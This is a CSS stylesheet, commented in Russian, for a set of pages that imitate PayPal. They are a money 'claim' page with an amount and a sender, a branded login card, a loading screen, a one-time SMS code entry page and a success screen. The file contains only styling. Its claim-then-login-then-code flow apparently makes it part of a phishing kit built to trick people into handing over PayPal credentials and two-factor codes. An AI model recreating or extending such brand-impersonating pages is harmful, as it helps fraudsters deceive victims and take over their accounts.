/* ============================================
   style.css — PayPal-style design
   ============================================ */

*, *::before, *::after {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', Arial, sans-serif;
  background: #f5f5f5;
  color: #000;
  min-height: 100vh;
  -webkit-font-smoothing: antialiased;
}

/* ===== Страница заявки (Claim) ===== */
.claim-page {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
  padding: 40px 20px;
  background: #fff;
}

.claim-title {
  font-size: 1.6rem;
  font-weight: 700;
  color: #000;
  margin-bottom: 24px;
  letter-spacing: -0.3px;
}

.claim-amount {
  font-size: 3.6rem;
  font-weight: 900;
  color: #000;
  margin-bottom: 10px;
  letter-spacing: -2px;
  line-height: 1;
}

.claim-sender {
  font-size: 1.1rem;
  font-weight: 600;
  color: #333;
  margin-bottom: 36px;
}

.btn-black {
  background: #000;
  color: #fff;
  border: none;
  border-radius: 24px;
  padding: 14px 52px;
  font-size: 1rem;
  font-weight: 600;
  cursor: pointer;
  transition: opacity 0.2s;
  min-width: 200px;
}

.btn-black:hover {
  opacity: 0.85;
}

/* ===== Страница входа (Login) ===== */
.login-page {
  display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
  padding: 40px 20px;
  background: #f5f5f5;
}

.login-card {
  background: #fff;
  border-radius: 16px;
  box-shadow: 0 2px 20px rgba(0, 0, 0, 0.08);
  padding: 40px 48px;
  width: 100%;
  max-width: 450px;
}

.login-logo {
  text-align: center;
  font-size: 2rem;
  font-weight: 800;
  color: #000;
  margin-bottom: 32px;
  letter-spacing: -0.5px;
}

.input-group {
  margin-bottom: 12px;
}

.input-group input {
  width: 100%;
  padding: 14px 16px;
  border: 1px solid #ccc;
  border-radius: 8px;
  font-size: 1rem;
  color: #000;
  outline: none;
  transition: border-color 0.2s;
}

.input-group input:focus {
  border-color: #000;
}

.input-group input::placeholder {
  color: #999;
}

.forgot-link {
  display: block;
  color: #003087;
  font-size: 0.9rem;
  text-decoration: none;
  margin: 4px 0 24px;
}

.forgot-link:hover {
  text-decoration: underline;
}

.btn-blue {
  width: 100%;
  padding: 14px;
  background: #003087;
  color: #fff;
  border: none;
  border-radius: 24px;
  font-size: 1rem;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.2s;
}

.btn-blue:hover {
  background: #002266;
}

.btn-blue:disabled {
  background: #ccc;
  cursor: not-allowed;
}

.btn-outline {
  width: 100%;
  padding: 14px;
  background: #fff;
  color: #000;
  border: 1px solid #000;
  border-radius: 24px;
  font-size: 1rem;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.2s;
}

.btn-outline:hover {
  background: #f5f5f5;
}

.divider-horizontal {
  display: flex;
  align-items: center;
  margin: 24px 0;
  color: #999;
  font-size: 0.85rem;
}

.divider-horizontal::before,
.divider-horizontal::after {
  content: '';
  flex: 1;
  height: 1px;
  background: #e0e0e0;
}

.divider-horizontal span {
  padding: 0 16px;
}

.language-selector {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  margin-top: 28px;
  font-size: 0.85rem;
}

.flag {
  width: 16px;
  height: 12px;
  display: inline-block;
  background: linear-gradient(
    to bottom,
    #000 33.3%,
    #dd0000 33.3%,
    #dd0000 66.6%,
    #ffcc00 66.6%
  );
  border-radius: 2px;
  vertical-align: middle;
}

.lang-active { color: #000; font-weight: 600; }
.lang-inactive { color: #666; cursor: pointer; }
.lang-inactive:hover { text-decoration: underline; }
.lang-sep { color: #ccc; }

/* ===== Страница загрузки (Loading) ===== */
.loading-page {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
  padding: 40px 20px;
  background: #fff;
  text-align: center;
}

.paypal-logo-loading {
  width: 80px;
  height: 80px;
  margin-bottom: 32px;
}

.paypal-logo-loading svg {
  width: 100%;
  height: 100%;
}

.loading-title {
  font-size: 1.6rem;
  font-weight: 400;
  color: #000;
  line-height: 1.4;
  margin-bottom: 40px;
  max-width: 400px;
}

.loading-spinner {
  width: 48px;
  height: 48px;
  border: 4px solid #e0e0e0;
  border-top-color: #003087;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  to { transform: rotate(360deg); }
}

/* ===== Страница кода (Code) ===== */
.code-page {
  display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
  padding: 40px 20px;
  background: #fff;
}

.code-card {
  width: 100%;
  max-width: 500px;
  padding: 20px;
}

.paypal-p {
  width: 80px;
  height: 80px;
  margin-bottom: 24px;
  position: relative;
}

.paypal-p svg {
  width: 100%;
  height: 100%;
}

.code-title {
  font-size: 1.8rem;
  font-weight: 700;
  line-height: 1.25;
  margin-bottom: 24px;
  color: #000;
  letter-spacing: -0.5px;
}

.code-phone {
  font-size: 1rem;
  color: #333;
  margin-bottom: 28px;
}

.code-inputs {
  display: flex;
  gap: 10px;
  margin-bottom: 12px;
}

.code-box {
  width: 56px;
  height: 60px;
  border: 1px solid #ccc;
  border-radius: 10px;
  text-align: center;
  font-size: 1.5rem;
  font-weight: 600;
  color: #000;
  outline: none;
  background: #f9f9f9;
  transition: border-color 0.2s, background 0.2s;
  caret-color: transparent;
}

.code-box:focus {
  border-color: #003087;
  background: #fff;
}

.code-box.filled {
  background: #e8f0fe;
  border-color: #003087;
}

.code-resend {
  color: #666;
  font-size: 0.85rem;
  margin-bottom: 24px;
}

.code-resend span {
  font-weight: 600;
}

.code-card .btn-blue {
  margin-bottom: 12px;
}

.code-card .btn-outline {
  margin-top: 0;
}

/* ===== Успех ===== */
.success-icon {
  width: 64px;
  height: 64px;
  background: #1ecf5c;
  color: #fff;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 2rem;
  margin: 0 auto;
}

/* ===== Адаптивность ===== */
@media (max-width: 500px) {
  .login-card {
    padding: 32px 24px;
    border-radius: 12px;
  }

  .claim-amount {
    font-size: 2.6rem;
  }

  .code-title {
    font-size: 1.4rem;
  }

  .code-box {
    width: 46px;
    height: 52px;
    font-size: 1.3rem;
  }

  .code-inputs {
    gap: 6px;
  }

  .loading-title {
    font-size: 1.3rem;
  }
}
